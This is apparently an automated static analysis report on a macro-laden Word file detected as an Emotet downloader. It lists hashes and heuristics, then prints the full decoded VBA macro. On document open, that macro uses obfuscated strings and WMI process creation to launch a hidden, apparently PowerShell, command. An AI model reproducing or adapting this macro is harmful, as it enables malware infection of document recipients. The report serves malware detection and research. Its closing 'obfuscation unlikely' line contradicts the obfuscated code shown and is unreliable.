Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8de125da28c8e4b9…

MALICIOUS

Office (OOXML)

124.1 KB Created: 2020-01-30 06:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-09
MD5: 2e40bf21db214e78bda436d920293494 SHA-1: a6e0043d558563a7f43bd6b1c3eacd66f4736854 SHA-256: 8de125da28c8e4b9808d8e4555a2879d781a5301dd49a50795ec8d9714ea0b3a
230 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7570057-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7570057-1
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Wmrsighngb = GetObject(Dggkiptebxt)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6881 bytes
SHA-256: 70085a43beacfecb376f1aada797b466085d0e309bb509e3c7d732e1b6c426d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vmjcgwdazzk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Call Utbbhdfmvv
End Sub

Attribute VB_Name = "Lkgefewapyol"
Attribute VB_Base = "0{B88CA1E6-AF41-4CF8-B330-E5C1FD87EC52}{76623291-8948-4293-82BF-BE29E60E2891}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Xdvqdorzk"
Attribute VB_Base = "0{8623AF54-1830-4797-BB9F-AAD6A3371A9D}{3E7FB350-087F-4525-9713-C9A07E26076F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Mnwhevpanc()
Debug.Print "Operaion" + NS + "S"
End Sub

Attribute VB_Name = "Ofgjsksv"
Function Utbbhdfmvv()
               While Hn = 992
KJS = CVar(535)
INSD = 23
OISN = CVar(741)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(146)
NJSW = CVar(Uvvzxzwtbgto)
MIWHD = CVar("{Terraria}")
      Wend
Ozbrodoptq = "==/e3n//3^w==/e3n//3^==/e3n//3^==/e3n//3^i==/e3n//3^==/e3n//3^nmg==/e3n//3^mt==/e3n//3^==/e3n//3^" + ChrW(Int(wdKeyS)) + "==/e3n//3^:w==/e3n//3^in==/e3n//3^==/e3n//3^3==/e3n//3^2_" + Lkgefewapyol.Zbhkfqcxr + "ro==/e3n//3^ce==/e3n//3^==/e3n//3^s==/e3n//3^s"
               While Hn = 992
KJS = CVar(388)
INSD = 674
OISN = CVar(837)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(839)
NJSW = CVar(Edfsxvyzmztly)
MIWHD = CVar("{Terraria}")
      Wend
Dggkiptebxt = Zngvdblew(Ozbrodoptq)
               While Hn = 992
KJS = CVar(977)
INSD = 990
OISN = CVar(378)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(666)
NJSW = CVar(Ktadatrle)
MIWHD = CVar("{Terraria}")
      Wend
Set Wmrsighngb = GetObject(Dggkiptebxt)
               While Hn = 992
KJS = CVar(294)
INSD = 800
OISN = CVar(283)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(781)
NJSW = CVar(Uoimoleg)
MIWHD = CVar("{Terraria}")
      Wend
Gvyyaolbdio = Lkgefewapyol.Rsnfjyiwxaka.Tag
               While Hn = 992
KJS = CVar(214)
INSD = 497
OISN = CVar(277)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(225)
NJSW = CVar(Xuemqqmdprs)
MIWHD = CVar("{Terraria}")
      Wend
Zstuaiqplx = Dggkiptebxt + ChrW(Int(wdKeyS)) + Lkgefewapyol.Babaicilwouk.Tag + Gvyyaolbdio
               While Hn = 992
KJS = CVar(404)
INSD = 781
OISN = CVar(755)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(899)
NJSW = CVar(Datooaplmivy)
MIWHD = CVar("{Terraria}")
      Wend
Yxiowmmrli = Zstuaiqplx + Lkgefewapyol.Zbhkfqcxr
               While Hn = 992
KJS = CVar(765)
INSD = 189
OISN = CVar(247)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(683)
NJSW = CVar(Cccvllofijr)
MIWHD = CVar("{Terraria}")
      Wend
Call Wmrsighngb. _
Create(Byvvzftr, Tdyuvovxff, Tzdmighb(Yxiowmmrli), Ouirxghk, Mkpdgfwu, Whhaakxlm)
               While Hn = 992
KJS = CVar(298)
INSD = 420
OISN = CVar(460)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(176)
NJSW = CVar(Jotqcqnr)
MIWHD = CVar("{Terraria}")
      Wend
End Function
Function Tzdmighb(Aobkvzozqh)
               While Hn = 992
KJS = CVar(106)
INSD = 40
OISN = CVar(787)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(489)
NJSW = CVar(Iflboydyeqpu)
MIWHD = CVar("{Terraria}")
      Wend
Set Tzdmighb = GetObject(Aobkvzozqh)
               While Hn = 992
KJS = CVar(89)
INSD = 674
OISN = CVar(140)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(950)
NJSW = CVar(Cnhiqgcohwvjg)
MIWHD = CVar("{Terraria}")
      Wend
Tzdmighb. _
showwindow = Ptqqlqsizfj + Qnesipakdbfg
               While Hn = 992
KJS = CVar(1)
INSD = 115
OISN = CVar(906)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(478)
NJSW = CVar(Haulyevvt)
MIWHD = CVar("{Terraria}")
      Wend
End Function
Function Zngvdblew(Dobigestle)
               While Hn = 992
KJS = CVar(274)
INSD = 848
OISN = CVar(268)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(872)
NJSW = CVar(Hvvnmqslvycw)
MIWHD = CVar("{Terraria}")
      Wend
Zngvdblew = Join(Split(Dobigestle, "==/e3n//3^"), "")
               While Hn = 992
KJS = CVar(226)
INSD = 77
OISN = CVar(408)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(41)
NJSW = CVar(Mjplyufyuf)
MIWHD = CVar("{Terraria}")
      Wend
End Function
Function Byvvzftr()
               While Hn = 992
KJS = CVar(92)
INSD = 885
OISN = CVar(295)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(281)
NJSW = CVar(Bylmmszgns)
MIWHD = CVar("{Terraria}")
      Wend
Mzngsyfuds = ChrW(Qnivxskwr + wdKeyP + Upemcbmzpj)
               While Hn = 992
KJS = CVar(901)
INSD = 822
OISN = CVar(896)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(437)
NJSW = CVar(Eqeqzcbju)
MIWHD = CVar("{Terraria}")
      Wend
Hvnwofbkdxgie = Mzngsyfuds + Lkgefewapyol.Ltuzmmhxhuypi.ControlTipText + "-e "
               While Hn = 992
KJS = CVar(944)
INSD = 991
OISN = CVar(745)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(297)
NJSW = CVar(Szahtdoaexrgm)
MIWHD = CVar("{Terraria}")
      Wend
dse = Lkgefewapyol.Pdvftpyvjnr.ControlTipText
               While Hn = 992
KJS = CVar(886)
INSD = 865
OISN = CVar(477)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(35)
NJSW = CVar(Vaormqyn)
MIWHD = CVar("{Terraria}")
      Wend
Byvvzftr = Zngvdblew(Hvnwofbkdxgie + StrReverse(dse))
               While Hn = 992
KJS = CVar(974)
INSD = 388
OISN = CVar(246)
NJSD = CVar("{Terraria}")
      Wend
            While MO = 32
ISN = CVar("{Terraria}")
OPWND = CVar(211)
NJSW = CVar(Ihvubsfg)
MIWHD = CVar("{Terraria}")
      Wend
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 42496 bytes
SHA-256: 6ab6fbcd65cea4334cb21255cb5a7273fd060ecf115e65286a731f0cb0b53eb8
Detection
ClamAV: Doc.Downloader.Emotet-7570057-1
Obfuscation or payload: unlikely